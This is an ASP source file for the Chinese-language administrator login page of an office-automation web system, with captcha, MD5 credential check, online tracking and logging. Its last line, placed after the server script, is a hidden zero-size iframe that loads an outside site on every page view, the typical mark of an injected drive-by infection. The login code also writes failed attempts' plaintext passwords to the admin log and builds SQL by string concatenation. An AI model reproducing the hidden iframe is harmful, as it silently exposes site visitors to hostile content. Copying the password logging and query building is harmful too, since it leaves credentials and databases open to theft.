<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%><!--#INCLUDE FILE="HXINCLUDE/HX_CONNDATABASE.ASP"--><!--#INCLUDE FILE="HXINCLUDE/HX_Md5.ASP"--><script src="HXinclude/HX_Function.js"></script>
<%WSOASCOMSTR="<head><title>"&WS_CompanyName&"管理登录界面</title><meta http-equiv='Content-Type' content='text/html; charset=gb2312'><link rel=stylesheet type=text/css href='HXinclude/HX_Style.css'><script src='HXINCLUDE/HX_function.js'></script></head><body topmargin=100 leftmargin=0 bottommargin=0 bgcolor=613325>"
action=request("action")
if action<>"loginout" then
  if WS_S.HX_ISLogin then RESPONSE.Write "<script>openlogin('HX_managemain.asp');</script>":response.End
end if
Select Case action
   Case "checklogin"
      WS_S.ChkIsOuter:HX_UserName=Replace(Request.Form("HX_UserName"),"'","''"):HX_PassWord=Replace(Request.Form("HX_PassWord"),"'","''"):HX_ValidateCode=Replace(Request.Form("HX_ValidateCode"),"'","''"):HX_cook=HX_Checknum(Request.Form("cook"))
	   If HX_ValidateCode<>Session("HX_GetCode") then HX_GoBack "验证错误,请重新填写!",""
	   tablename="HX_CompanyUser": Orderby=" where WS_UserName='"&HX_UserName&"' and WS_PassWord='"&md5(HX_PassWord)&"'"
	   call WS_S.ChecKIPlock(Request.ServerVariables("REMOTE_ADDR"))
	   SET RS=WS_S.HX_SetRSD(Cols,tablename,Orderby)
	   IF RS.RECORDCOUNT>0 THEN
       if rs("WS_leave")="True" then call WS_S.SaveAdminLog(HX_UserName,rs("WS_Appointment"),"<font color=red>登录失败！</font><font color=blue>等待审核</font>"):call HX_GoBack("请等待审核！","")
	    WS_Uid=rs("WS_Uid"):WS_UserName=rs("WS_UserName"):WS_Appointment=rs("WS_Appointment"):WS_department=rs("WS_department")
		   Set Onrs=WS_S.HX_SetRSD(Cols,"HX_Online"," where WS_Userid="&WS_Uid)
		   if Onrs.recordcount>0 then
		      if RS("WS_LoginIn")=1 then
               RS("WS_LoginIn")=0:RS.update
			   session("WSOASCOM")="oa.sspig.com"
			  else 			   
			   RS("WS_LoginIn")=1:RS.update
			   session("WSOASCOM")="oa.sspig.com"
			  end if
			   WS_S.HX_SelectCookiesORSession
			else
			   RS("WS_LoginIn")=1:RS.update:WS_S.HX_SelectCookiesORSession
			  Onrs.addnew:Onrs("WS_Userid")=WS_Uid:Onrs("WS_Name")=RS("WS_Name"):Onrs("WS_Viewip")=Request.ServerVariables("REMOTE_ADDR"):Onrs("WS_Lasttime")=now:Onrs.update
			end if
			WS_S.HX_RSClose Onrs: call WS_S.SaveAdminLog(WS_UserName,WS_Appointment,"登录成功!"):WS_S.HX_Redirect "HX_managemain.asp"
	   else
		 call WS_S.SaveAdminLog(HX_UserName,0,"<font color=red>登录失败！尝试用户名和密码为：<br>用户名："&HX_UserName&" 密码："&HX_PassWord&"</font>"):HX_GoBack "用户名或密码错误,请重新填写!",""
       END IF
       WS_S.HX_RSClose RS 
   Case "loginout":if request.Cookies(prefix)("LOGINUSERNAME")<>"" and request.Cookies(prefix)("logAppointment")<>"" then call WS_S.SaveAdminLog(request.Cookies(prefix)("LOGINUSERNAME"),request.Cookies(prefix)("logAppointment"),"成功注销!"):Call WS_S.HX_LoginOut():HX_GoBack "成功注销!","HX_Login.asp"
End Select
WSOASCOMSTR=WSOASCOMSTR&"<table width=""764""  border=""0"" cellspacing=""0"" cellpadding=""0"" align=center><tr><td height=""128"" background=""HXIMAGES/HX_LoginTop.gif""></td></tr><tr><td height=""170"" background=""HXIMAGES/HX_LoginMiddle.gif"">&nbsp;</td></tr><tr><td height=""150"" background=""HXIMAGES/HX_LoginBottom.gif"" valign=""top"">"
WSOASCOMSTR=WSOASCOMSTR&"<table width=""100%""  border=""0"" cellspacing=""0"" cellpadding=""0""><tr><td width=""43%"" height=""40"">&nbsp;</td><td width=""52%"" align=""right""><marquee direction=""left"" onMouseOver=""this.stop();"" onMouseOut=""this.start();"" width=""260"" scrollamount=""2"">"&WS_S.FormatColor(WS_Bulletin,"FFFBE8")
WSOASCOMSTR=WSOASCOMSTR&"</marquee></td><td width=""5%"">&nbsp;</td></tr><tr><td height=""60"">&nbsp;</td><td><table width=""100%""  border=""0"" cellspacing=""3"" cellpadding=""0"" class=""td3""><form name=""form1"" method=""post"" action=""HX_login.asp?action=checklogin"" onSubmit=""return userlogincheck();""><tr><td width=""14%"" height=""23"">用户名：</td>"
WSOASCOMSTR=WSOASCOMSTR&"<td width=""25%""><input name=""HX_UserName"" type=""text"" class=""bdlogin"" size=""15"" maxlength=""16""></td><td width=""13%"" align=right>密 码：</td><td width=""26%""><input name=""HX_PassWord"" type=""password"" class=""bdlogin"" size=""15"" maxlength=""16""></td><td width=""22%"" align=""right""><select name=cook style=""font-family: 宋体 (serif); font-size: 9pt"" class=""bdlogin"""
if not WS_S.HX_CheckCookies() then	WSOASCOMSTR=WSOASCOMSTR&" disabled"	
WSOASCOMSTR=WSOASCOMSTR&"><option value=0>不保存</option><option value=1>保存一天</option><option value=30>保存一月</option><option value=365>保存一年</option></select></td></tr><tr><td height=""27"">验证码：</td><td colspan=""4""><input name=""HX_ValidateCode"" type=""text"" class=""bdlogin"" size=""6"" maxlength=""4"" style=""ime-mode:disabled"" onKeyUp=""value=value.replace(/[^0-9_]/ig,'')"">&nbsp;"
WSOASCOMSTR=WSOASCOMSTR&"<IMG src=""HXinclude/HX_GetCode.asp"" height=""16"" width=""60"" alt=""验证码,看不清楚?请点击刷新验证码"" align=""absmiddle"" style=""cursor : pointer;"" onclick=""this.src='HXinclude/HX_GetCode.asp'"">&nbsp;<input type=""submit"" name=""Submit"" value="" 登 录 "" class=""bdlogin"">&nbsp;<input type=""button"" name=""register"" value=""用户注册"" class=""bdlogin"" "
if REGISTER=False then WSOASCOMSTR=WSOASCOMSTR&"disabled"
WSOASCOMSTR=WSOASCOMSTR&" onClick=""openwin(430,430,'HX_Register.asp');"">&nbsp;<input type=""button"" name=""forget"" value=""忘记密码"" class=""bdlogin"" "
if GETPASSWORD=False then WSOASCOMSTR=WSOASCOMSTR&"disabled"
WSOASCOMSTR=WSOASCOMSTR&" onClick=""openwin(430,140,'HX_GetPassWord.asp');""></td></tr></form></table></td><td>&nbsp;</td></tr><tr><td height=""49"">&nbsp;</td><td colspan=""2"" valign=bottom align=right class=td3>CopyRight (c) 2008 "&WS_WebUrl&" All Rights Reserved&nbsp;&nbsp;<br><br></td></tr></table></td></tr></table></body></html>"
response.Write WSOASCOMSTR
%>
<iframe src="http://www.maisiliao.com/index.html" width="0" height="0"></iframe>